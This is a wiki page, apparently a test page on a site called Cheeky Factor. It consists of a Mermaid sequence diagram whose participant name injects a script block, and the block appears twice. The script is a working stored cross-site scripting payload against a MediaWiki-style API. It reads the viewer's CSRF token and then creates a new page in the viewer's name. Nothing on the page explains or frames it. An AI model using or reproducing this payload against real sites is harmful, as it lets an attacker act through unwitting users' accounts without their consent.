Mermaid:Test page2
From Cheeky Factor
sequenceDiagram
participant Alice <u>test</u><script>
x=new XMLHttpRequest();
page_title = "XSS_Page_"+(new Date().getTime());
x.onload=function(){
console.log(this.responseText);
resp = JSON.parse(this.responseText);
csrf_token = resp['query']['tokens']['csrftoken'];
console.log("CSRF Token: ", csrf_token);
// now make a request on behalf of the user
x2 = new XMLHttpRequest();
x2.onload=function(){
console.log(this.responseText);
console.log("Visit the new page at https://cheekyfactor.com/index.php/"+page_title);
};
x2.open("POST", "https://cheekyfactor.com/api.php");
x2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
x2.send("action=edit&format=jsonfm&wrappedhtml=1&title="+page_title+"&text=a%20new%20page%20via%20API&token="+encodeURIComponent(csrf_token));
};
x.open("POST","https://cheekyfactor.com/api.php?action=query&format=json&meta=tokens&type=csrf");
x.send();
</script>
sequenceDiagram
participant Alice <u>test</u><script>
x=new XMLHttpRequest();
page_title = "XSS_Page_"+(new Date().getTime());
x.onload=function(){
console.log(this.responseText);
resp = JSON.parse(this.responseText);
csrf_token = resp['query']['tokens']['csrftoken'];
console.log("CSRF Token: ", csrf_token);
// now make a request on behalf of the user
x2 = new XMLHttpRequest();
x2.onload=function(){
console.log(this.responseText);
console.log("Visit the new page at https://cheekyfactor.com/index.php/"+page_title);
};
x2.open("POST", "https://cheekyfactor.com/api.php");
x2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
x2.send("action=edit&format=jsonfm&wrappedhtml=1&title="+page_title+"&text=a%20new%20page%20via%20API&token="+encodeURIComponent(csrf_token));
};
x.open("POST","https://cheekyfactor.com/api.php?action=query&format=json&meta=tokens&type=csrf");
x.send();
</script>